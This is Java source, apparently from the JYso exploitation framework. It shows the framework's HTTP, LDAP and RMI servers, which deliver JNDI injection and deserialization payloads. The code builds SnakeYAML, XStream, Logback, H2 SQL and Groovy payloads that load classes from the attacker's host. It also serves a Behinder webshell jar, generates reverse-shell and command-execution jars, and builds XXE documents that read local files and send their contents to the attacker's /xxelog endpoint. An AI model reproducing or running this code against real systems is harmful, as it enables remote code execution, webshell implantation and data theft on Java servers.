System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()));
String qi = String.valueOf(httpExchange.getRequestURI());
if (qi.contains("setPathAlias")) {
Config.BCEL1 = qi.substring(qi.indexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1));
} else if (qi.contains("setRoute")) {
Config.ROUTE = qi.substring(qi.indexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE));
}
String path = httpExchange.getRequestURI().getPath();
if (path.endsWith(".class")) {
handleClassRequest(httpExchange);
} else if (path.endsWith(".wsdl")) {
handleWSDLRequest(httpExchange);
} else if (path.endsWith(".jar")) {
handleJarRequest(httpExchange);
} else if (path.startsWith("/xxelog")) {
handleXXELogRequest(httpExchange);
} else if (path.endsWith(".sql")) {
handleSQLRequest(httpExchange);
} else if (path.endsWith(".groovy")) {
handlerGroovyRequest(httpExchange);
} else if (path.endsWith(".xml")) {
handleXMLRequest(httpExchange);
} else if (path.endsWith(".txt")) {
handleTXTRequest(httpExchange);
} else if (path.endsWith(".yml")) {
handleYmlRequest(httpExchange);
} else {
handleFileRequest(httpExchange);
}
} catch (Exception e) {
e.printStackTrace();
}
}
});
httpServer.setExecutor(null);
httpServer.start();
System.out.println(ansi().render("@|green [+]|@ HTTP Server Start Listening on >>" + Config.httpPort + "..."));
}
private static void handleFileRequest(HttpExchange exchange) throws Exception {
System.out.println("[-] 请求的后缀不对");
String path = exchange.getRequestURI().getPath();
String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1);
File file = new File(filename);
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
FileInputStream fileInputStream = new FileInputStream(file);
fileInputStream.read(bytes);
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
}
private static void handleYmlRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
// String host = exchange.getRequestURI().getHost();
String YamlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
String bytes = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://" + Config.ip + ":" + Config.httpPort + "/behinder3.jar\"]\n" +
" ]]\n" +
"]\n";
if (YamlName.equalsIgnoreCase("snake")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
// exchange.sendResponseHeaders(200, yaml.getObject().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
// exchange.getResponseBody().write(yaml.getObject("UTF-8"));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + YamlName + ".yml");
if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleTXTRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (txtname.equalsIgnoreCase("isok")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
byte[] bytes = "success!".getBytes();
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + txtname + ".txt");
if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println(ansi().render("@|red [!] Response Code: @|" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleXMLRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
// String host = exchange.getRequestURI().getHost();
String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
String bytes = "<configuration>\n <insertFromJNDI env-entry-name=\"ldap://" + Config.ip + ":" + Config.ldapPort + "/TomcatBypass/TomcatMemshell3\" as=\"appName\" />\n</configuration>";
String xstream = "<linked-hash-set>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\">\n" +
" <dataHandler>\n" +
" <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\n" +
" <is class=\"javax.crypto.CipherInputStream\">\n" +
" <cipher class=\"javax.crypto.NullCipher\">\n" +
" <initialized>false</initialized>\n" +
" <opmode>0</opmode>\n" +
" <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\n" +
" <iter class=\"javax.imageio.spi.FilterIterator\">\n" +
" <iter class=\"java.util.Collections$EmptyIterator\"/>\n" +
" <next class=\"com.sun.rowset.JdbcRowSetImpl\" serialization=\"custom\">\n" +
" <javax.sql.rowset.BaseRowSet>\n" +
" <default>\n" +
" <concurrency>1008</concurrency>\n" +
" <escapeProcessing>true</escapeProcessing>\n" +
" <fetchDir>1000</fetchDir>\n" +
" <fetchSize>0</fetchSize>\n" +
" <isolation>2</isolation>\n" +
" <maxFieldSize>0</maxFieldSize>\n" +
" <maxRows>0</maxRows>\n" +
" <queryTimeout>0</queryTimeout>\n" +
" <readOnly>true</readOnly>\n" +
" <rowSetType>1004</rowSetType>\n" +
" <showDeleted>false</showDeleted>\n" +
" <dataSource>ldap://" + Config.ip + ":1389/basic/TomcatMemShell3</dataSource>\n" +
" <listeners/>\n" +
" <params/>\n" +
" </default>\n" +
" </javax.sql.rowset.BaseRowSet>\n" +
" <com.sun.rowset.JdbcRowSetImpl>\n" +
" <default>\n" +
" <iMatchColumns>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" <int>-1</int>\n" +
" </iMatchColumns>\n" +
" <strMatchColumns>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" <null/>\n" +
" </strMatchColumns>\n" +
" </default>\n" +
" </com.sun.rowset.JdbcRowSetImpl>\n" +
" </next>\n" +
" </iter>\n" +
" <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\n" +
" <method>\n" +
" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +
" <name>getDatabaseMetaData</name>\n" +
" <parameter-types/>\n" +
" </method>\n" +
" <name>foo</name>\n" +
" </filter>\n" +
" <next class=\"string\">foo</next>\n" +
" </serviceIterator>\n" +
" <lock/>\n" +
" </cipher>\n" +
" <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\n" +
" <ibuffer></ibuffer>\n" +
" <done>false</done>\n" +
" <ostart>0</ostart>\n" +
" <ofinish>0</ofinish>\n" +
" <closed>false</closed>\n" +
" </is>\n" +
" <consumed>false</consumed>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
" <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\n" +
" </entry>\n" +
"</linked-hash-set>";
if (xmlName.equals("a")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else if (xmlName.equals("x")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8");
exchange.sendResponseHeaders(200, xstream.getBytes().length + 1);
exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + xmlName + ".xml");
if (file.exists()) {
byte[] bytes1 = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes1);
}
exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8");
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes1);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleSQLRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String host = exchange.getRequestURI().getHost();
String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (sqlName.equalsIgnoreCase("echo")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
String name = String.valueOf(System.nanoTime());
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap://" + host + ":1389/TomcatBypass/TomcatEcho\");',' 'o.setAutoCommit(\"true\");,'}');" +
"CALL " + name + "();\"}";
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else if (sqlName.equalsIgnoreCase("inject")) {
System.out.println("@|green Response Code: |@" + 200);
String name = String.valueOf(System.nanoTime());
String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" +
"{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap:// + host + :1389/inject.class\");',' 'o.setAutoCommit(\"true\");,'}');" +
"CALL " + name + "();\"}";
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + sqlName + ".sql");
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handlerGroovyRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String host = exchange.getRequestURI().getHost();
String exp = "/TomcatBypass/TomcatEcho";
String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (groovyName.equalsIgnoreCase("groovyecho")) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
String bytes = "class demo {\n" +
" static void main(){\n" +
" com.sun.rowset.JdbcRowSetImpl o = new com.sun.rowset.JdbcRowSetImpl();\n" +
" o.setDataSourceName(\"ldap://" + host + ":1389" + exp + "\");\n" +
" o.setAutoCommit(true);\n" +
" }\n" +
"}\n";
exchange.sendResponseHeaders(200, bytes.getBytes().length + 1);
exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8));
} else {
String pa = cwd + File.separator + "data";
File file = new File(pa + File.separator + groovyName + ".groovy");
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
// exchange.getResponseHeaders().set("Content-type","application/octet-stream");
exchange.sendResponseHeaders(200, file.length() + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException {
Object exchangeImpl = FieldUtils.readField(exchange, "impl", true);
Object request = FieldUtils.readField(exchangeImpl, "req", true);
String startLine = (String) FieldUtils.readField(request, "startLine", true);
System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine));
exchange.sendResponseHeaders(200, 0);
exchange.close();
}
private static void handleJarRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
if (jarName.equalsIgnoreCase("behinder3")) {
byte[] bytes;
String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar";
FileReader fileReader = new FileReader(filename, "UTF-8");
bytes = fileReader.readBytes();
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
} else {
String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar";
File file = new File(filename);
if (file.exists()) {
byte[] bytes;
FileReader fileReader = new FileReader(filename, "UTF-8");
bytes = fileReader.readBytes();
exchange.sendResponseHeaders(200, bytes.length + 1);
exchange.getResponseBody().write(bytes);
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
private static void handleClassRequest(HttpExchange exchange) throws IOException {
String path = exchange.getRequestURI().getPath();
String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class"));
if (Cache.contains(className)) {
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
byte[] bytes = Cache.get(className);
exchange.sendResponseHeaders(200, bytes.length);
exchange.getResponseBody().write(bytes);
} else {
String pa = cwd + path;
File file = new File(pa);
if (file.exists()) {
byte[] bytes = new byte[(int) file.length()];
try (FileInputStream fileInputStream = new FileInputStream(file)) {
fileInputStream.read(bytes);
}
exchange.getResponseHeaders().set("Content-type", "application/octet-stream");
exchange.sendResponseHeaders(200, file.length());
exchange.getResponseBody().write(bytes);
System.out.println(ansi().render("@|green [+] 远程类加载成功 |@" + 200));
System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------");
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
}
exchange.close();
}
private static void handleWSDLRequest(HttpExchange exchange) throws Exception {
String query = exchange.getRequestURI().getQuery();
Map<String, String> params = parseQuery(query);
String path = exchange.getRequestURI().getPath().substring(1);
if (path.startsWith("list")) {
//intended to list directories or read files on server
String file = params.get("file");
if (file != null && !file.isEmpty()) {
String listWsdl = "" +
"<!DOCTYPE x [\n" +
" <!ENTITY % aaa SYSTEM \"file:///" + file + "\">\n" +
" <!ENTITY % bbb SYSTEM \"http://" + Config.ip + ":" + Config.httpPort + "/http.wsdl\">\n" +
" %bbb;\n" +
"]>\n" +
"<definitions name=\"HelloService\" xmlns=\"http://schemas.xmlsoap.org/wsdl/\">\n" +
" &ddd;\n" +
"</definitions>";
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, listWsdl.getBytes().length);
exchange.getResponseBody().write(listWsdl.getBytes());
} else {
System.out.println(ansi().render("@|red [!] Missing or wrong argument|@"));
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
} else if (path.startsWith("upload")) {
String type = params.get("type");
String[] args = null;
if (type.equalsIgnoreCase("command")) {
args = new String[]{params.get("cmd")};
} else if (type.equalsIgnoreCase("dnslog")) {
args = new String[]{params.get("url")};
} else if (type.equalsIgnoreCase("reverseshell")) {
args = new String[]{params.get("ip"), params.get("port")};
}
String jarName = createJar(type, args);
if (jarName != null) {
String uploadWsdl = "<!DOCTYPE a SYSTEM \"jar:http://" + Config.ip + ":" + Config.httpPort +
"/" + jarName + ".jar!/file.txt\"><a></a>";
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length);
exchange.getResponseBody().write(uploadWsdl.getBytes());
} else {
System.out.println(ansi().render("@|red [!] Missing or wrong argument|@"));
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
}
exchange.close();
} else if (path.startsWith("http")) {
String xxhttp = "<!ENTITY % ccc '<!ENTITY ddd &#39;<import namespace=\"uri\" location=\"http://" +
Config.ip + ":" + Config.httpPort + "/xxelog?%aaa;\"/>&#39;>'>%ccc;";
System.out.println(ansi().render("@|green [+] Response Code: |@" + 200));
exchange.sendResponseHeaders(200, xxhttp.getBytes().length);
exchange.getResponseBody().write(xxhttp.getBytes());
exchange.close();
} else {
System.out.println(ansi().render("@|red [!] Response Code: |@" + 404));
exchange.sendResponseHeaders(404, 0);
exchange.close();
}
}
private static Map<String, String> parseQuery(String query) {
Map<String, String> params = new HashMap<>();
try {
for (String str : query.split("&")) {
try {
String[] parts = str.split("=", 2);
params.put(parts[0], parts[1]);
} catch (Exception e) {
//continue
}
}
} catch (Exception e) {
//continue
}
return params;
}
/*
由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功
这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题
目前暂时认为其不会有问题,如果有问题,后面再修改
*/
private static String createJar(String type, String... params) throws Exception {
byte[] bytes;
String className = "xExportObject";
switch (type.toLowerCase()) {
case "command":
CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject");
bytes = commandTemplate.getBytes();
break;
case "dnslog":
DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject");
bytes = dnslogTemplate.getBytes();
break;
case "reverseshell":
ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject");
bytes = reverseShellTemplate.getBytes();
break;
case "webspherememshell":
ClassPool classPool = ClassPool.getDefault();
CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate");
exploitClass.setName(className);
exploitClass.detach();
bytes = exploitClass.toBytecode();
break;
default:
return null;
}
System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className));
ByteArrayOutputStream bout = new ByteArrayOutputStream();
JarOutputStream jarOut = new JarOutputStream(bout);
jarOut.putNextEntry(new ZipEntry(className + ".class"));
jarOut.write(bytes);
jarOut.closeEntry();
jarOut.close();
bout.close();
String jarName = Util.getRandomString();
Cache.set(jarName, bout.toByteArray());
return jarName;
}
}
+121
View File
@@ -0,0 +1,121 @@
package com.qi4l.JYso;
import com.qi4l.JYso.controllers.LdapController;
import com.qi4l.JYso.controllers.LdapMapping;
import com.qi4l.JYso.controllers.utils.AESUtils;
import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.reflections.Reflections;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.lang.reflect.Constructor;
import java.net.InetAddress;
import java.util.Set;
import java.util.TreeMap;
import static com.qi4l.JYso.gadgets.Config.Config.*;
import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode;
import static org.fusesource.jansi.Ansi.ansi;
public class LdapServer extends InMemoryOperationInterceptor {
public static TreeMap<String, LdapController> routes = new TreeMap<>();
public LdapServer() throws Exception {
//find all classes annotated with @LdapMapping
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())
.getTypesAnnotatedWith(LdapMapping.class);
//instantiate them and store in the routes map
for (Class<?> controller : controllers) {
Constructor<?> cons = controller.getConstructor();
LdapController instance = (LdapController) cons.newInstance();
String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
for (String mapping : mappings) {
if (mapping.startsWith("/")) {
mapping = mapping.substring(1); //remove first forward slash
routes.put(mapping, instance);
}
}
}
}
public static void start() {
try {
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
serverConfig.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
Config.ldapPort,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
if (!USER.equals("") || !PASSWD.equals("")) {
serverConfig.addAdditionalBindCredentials(USER, PASSWD);
}
//添加操作拦截器
//将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
ds.startListening();
System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >>" + Config.ldapPort + "..."));
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base;
if (!ROUTE.equals("")) {
base = ROUTE;
} else {
base = result.getRequest().getBaseDN();
}
try {
if (!AESkey.equals("123")) {
base = base64Decode(base);
base = AESUtils.decrypt(base, AESkey);
}
} catch (Exception AESerr) {
}
//收到ldap请求
//System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base));
LdapController controller = null;
//find controller
//根据请求的路径从route中匹配相应的controller
for (String key : routes.keySet()) {
//compare using wildcard at the end
if (base.toLowerCase().startsWith(key)) {
controller = routes.get(key);
break;
}
}
if (controller == null) {
System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base));
return;
}
try {
//从控制器中进行返回
controller.process(base);
controller.sendResult(result, base);
} catch (Exception e1) {
System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage()));
}
}
}
+323
View File
@@ -0,0 +1,323 @@
package com.qi4l.JYso;
import com.qi4l.JYso.controllers.rmi.Basic;
import com.qi4l.JYso.controllers.rmi.ELProcessor;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.TransportConstants;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject;
import java.rmi.server.UID;
import java.util.Arrays;
import static com.qi4l.JYso.gadgets.Config.Config.*;
import static org.fusesource.jansi.Ansi.ansi;
/**
* Generic JRMP listener
* <p>
* JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.
* <p>
* This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.
*
* @author mbechler
*/
@SuppressWarnings({
"restriction"
})
public class RMIServer extends InMemoryOperationInterceptor implements Runnable {
private final ServerSocket ss;
private final Object waitLock = new Object();
private final URL classpathUrl;
private boolean exit;
public RMIServer(int port, URL classpathUrl) throws IOException {
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(port);
}
public static void start() {
String url = "http://" + ip + ":" + rmiPort;
try {
System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >>" + rmiPort + "..."));
RMIServer c = new RMIServer(rmiPort, new URL(url));
c.run();
} catch (Exception e) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}
public static ResourceRef execByEL() {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", String.format(
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
"\"java.lang.Runtime.getRuntime().exec('%s')\"" +
")",
command
)));
return ref;
}
private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
}
public void close() {
this.exit = true;
try {
this.ss.close();
} catch (IOException ignored) {
}
synchronized (this.waitLock) {
this.waitLock.notify();
}
}
@Override
public void run() {
try {
Socket s = null;
try {
while (!this.exit && (s = this.ss.accept()) != null) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
//System.err.println("[+] Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
try (DataInputStream in = new DataInputStream(bufIn)) {
int magic = in.readInt();
short version = in.readShort();
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
try (DataOutputStream out = new DataOutputStream(bufOut)) {
byte protocol = in.readByte();
switch (protocol) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
}
}
} catch (InterruptedException e) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
System.out.println(Ansi.ansi().fgRgb(255, 165, 0).a(" Closing connection").reset());
s.close();
}
}
} finally {
if (s != null) {
s.close();
}
if (this.ss != null) {
this.ss.close();
}
}
} catch (SocketException ignored) {
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
//System.err.println("[+] RMI服务器 >> 正在读取信息");
int op = in.read();
switch (op) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID.read(in);
break;
default:
throw new IOException(" RMI 服务器 >> 无法识别:" + op);
}
s.close();
}
private void doCall(DataInputStream in, DataOutputStream out) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
} else if ("java.lang.String".equals(desc.getName())) {
return String.class;
}
throw new IOException(" RMI 服务器 >> 无法读取 Object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
} catch (IOException e) {
throw new MarshalException(" RMI 服务器 >> 无法读取 ObjID", e);
}
if (read.hashCode() == 2) {
// DGC
handleDGC(ois);
} else if (read.hashCode() == 0) {
if (handleRMI(ois, out)) {
synchronized (this.waitLock) {
this.waitLock.notifyAll();
}
}
}
}
private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {
int method = ois.readInt(); // method
ois.readLong(); // hash
if (method != 2) { // lookup
return false;
}
String object = (String) ois.readObject();
//System.out.println(ansi().render("@|green [+]|@ RMI服务器 >> RMI 查询" + object + " " + method));
out.writeByte(TransportConstants.Return); // transport op
try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) {
oos.writeByte(TransportConstants.NormalReturn);
new UID().write(oos);
//反射调用的类名
ReferenceWrapper rw = null;
if (object.startsWith("ELProcessor")) {
ResourceRef result = ELProcessor.refTomcatBypass(object);
rw = new ReferenceWrapper(result);
} else if (object.startsWith("basic")) {
rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
Reference result = Basic.basic(object);
Reflections.setFieldValue(rw, "wrappee", result);
}
Field refF = RemoteObject.class.getDeclaredField("ref");
refF.setAccessible(true);
refF.set(rw, new UnicastServerRef(12345));
oos.writeObject(rw);
oos.flush();
out.flush();
}
return true;
}
static final class MarshalOutputStream extends ObjectOutputStream {
private final URL sendUrl;
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
StringBuilder cb = new StringBuilder();
for (URL u : us) {
cb.append(u.toString());
}
writeObject(cb.toString());
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}
}
+42
